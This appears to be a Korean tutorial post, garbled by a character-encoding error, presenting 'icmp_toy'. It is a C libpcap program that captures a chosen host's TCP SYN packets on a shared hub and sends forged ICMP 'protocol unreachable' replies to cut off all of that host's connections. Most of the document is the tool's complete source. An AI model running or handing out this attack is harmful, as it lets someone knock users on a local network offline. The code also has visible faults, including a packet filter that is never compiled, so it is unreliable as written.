http://kldp.org
libpcapÀ» ÀÌ¿ëÇÑ °£´ÜÇÑ ÀÀ¿ëÀÇ ¿¹¸¦ º¸À̵µ·Ï ÇÏ°Ú½À´Ï´Ù.
icmp_toy´Â ƯÁ¤ È£½ºÆ®ÀÇ ip address¸¦ ÀÔ·ÂÀ¸·Î ¹Þ¾Æ ±× È£½ºÆ®ÀÇ ¸ðµç Á¢¼ÓÀ» Â÷´ÜÇØ ¹ö¸®´Â ÇÁ·Î±×·¥À¸·Î ÇØ´ç È£½ºÆ®ÀÇ tcp, syn flag°¡ setµÈ ÆÐŶÀ» libpcapÀ» ÀÌ¿ëÇÏ¿© ĸÃÄÇÑ ÈÄ ÇØ´ç ÆÐŶ¿¡ ´ëÇÑ icmp protocol unreachable ÆÐŶÀ» ÇØ´ç È£½ºÆ®¿¡°Ô ÀçÀü¼ÛÇÏ°Ô µË´Ï´Ù.
ÀÔ·ÂÇÑ È£½ºÆ®´Â icmp_toy°¡ ±¸µ¿ÁßÀΠȣ½ºÆ®¿Í °°Àº ³×Æ®¿öÅ©¿¡ ±¸¼ºµÇ¾î ÀÖ°í, Dummy Hub ȯ°æÀÌ¿©¾ß¸¸ Á¦´ë·Î ÀÛµ¿ÇÏ°Ô µË´Ï´Ù.
icmp packetÀº ¾Æ·¡¿Í °°Àº ±¸Á¶·Î ¸¸µé¾îÁÖ°Ô µË´Ï´Ù.
Destination Unreachable Message
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| unused |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Internet Header + 64 bits of Original Data Datagram |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Type : 3
Code : 2 = protocol unreachable
<RFC792>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pcap.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#define PROMISCUOUS 1
static int nchild = 5;
char target_ip[16];
static pid_t *pids;
static pcap_t *pd;
unsigned short in_cksum (unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
void send_icmp (int sockfd, struct iphdr *iph, struct tcphdr *tcph)
{
char buff[76];
char data[28];
int len;
struct sockaddr send;
struct icmp *icmp;
struct sockaddr_in *willsend;
willsend = (struct sockaddr_in *) &send;
willsend->sin_family = AF_INET;
willsend->sin_addr.s_addr = iph->saddr;
fprintf (stdout, "A player\'s number is (%d) : Shot!! ---<-@ %s \n",
getpid (), target_ip);
icmp = (struct icmp *) buff;
icmp->icmp_type = ICMP_DEST_UNREACH;
icmp->icmp_code = ICMP_PROT_UNREACH;
icmp->icmp_id = 0;
icmp->icmp_seq = 0;
memcpy (data, iph, 20);
memcpy (data + 20, tcph, 8);
memcpy (icmp->icmp_data, data, 28);
len = 8 + 20 + 8;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = in_cksum ((u_short *) icmp, len);
sendto (sockfd, buff, len, 0, &send, sizeof (send));
}
void checkip (struct iphdr *iph, struct tcphdr *tcph)
{
int sockfd;
char source_ip[16];
struct in_addr in;
in.s_addr = iph->saddr;
strncpy (source_ip, inet_ntoa (in), sizeof (source_ip));
sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (strncmp (target_ip, source_ip, sizeof (source_ip)) == 0)
send_icmp (sockfd, iph, tcph);
close (sockfd);
}
void packet_info (char *user, int len)
{
struct iphdr *iph;
struct tcphdr *tcph;
iph = (struct iphdr *) user;
tcph = (struct tcphdr *) (user + iph->ihl * 4);
checkip (iph, tcph);
}
void sig_int (int sig)
{
int i;
for (i = 0; i < nchild; i++)
kill (pids[i], SIGTERM);
while (wait (NULL) > 0)
;
fprintf (stdout, "Bye !!\n");
pcap_close(pd);
exit (0);
}
pid_t child_make (int i, pcap_t * pd, int datalink)
{
pid_t pid;
void child_main (int, pcap_t *, int);
if ((pid = fork ()) > 0) {
return (pid);
}
child_main (i, pd, datalink);
return 0; // ADD
}
void child_main (int i, pcap_t * pd, int datalink)
{
void packet_loop (pcap_t *, int);
printf ("CHILD %ld starting\n", (long) getpid ());
packet_loop (pd, datalink);
}
char *next_pcap (pcap_t * pd, int *len)
{
char *ptr;
struct pcap_pkthdr hdr;
while ((ptr = (char *) pcap_next (pd, &hdr)) == NULL);
*len = hdr.caplen;
return (ptr);
}
void packet_loop (pcap_t * pd, int datalink)
{
int len;
char *ptr;
for (;;) {
ptr = next_pcap (pd, &len);
switch (datalink) {
case DLT_EN10MB:
packet_info (ptr + 14, len - 14);
break;
}
}
}
void usage (void)
{
fprintf (stdout, "SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address) \n");
}
int main (int argc, char *argv[])
{
struct bpf_program fcode;
char *device, *filter_rule;
char ebuf[PCAP_ERRBUF_SIZE];
int i, j, snaplen = 68;
bpf_u_int32 localnet, netmask;
signal (SIGINT, sig_int);
if (argc < 2) {
usage ();
exit (1);
}
strncpy (target_ip, argv[1], sizeof (target_ip));
filter_rule = "tcp and tcp[13:1] & 2 != 0";
device = pcap_lookupdev (ebuf);
if (device == NULL)
{
perror (ebuf);
exit (1);
}
pd = pcap_open_live (device, snaplen, PROMISCUOUS, 1000, ebuf);
if (pd == NULL)
{
perror (ebuf);
exit (1);
}
i = pcap_snapshot (pd);
if (snaplen < 1)
{
perror (ebuf);
exit (1);
}
if (pcap_lookupnet (device, &localnet, &netmask, ebuf) < 0)
{
perror (ebuf);
exit (1);
}
if (pcap_setfilter (pd, &fcode) < 0)
{
perror (ebuf);
exit (1);
}
fflush (stderr);
pids = calloc (nchild, sizeof (pid_t));
for (j = 0; j < nchild; j++)
pids[j] = child_make (j, pd, pcap_datalink (pd));
for (;;)
pause ();
}
|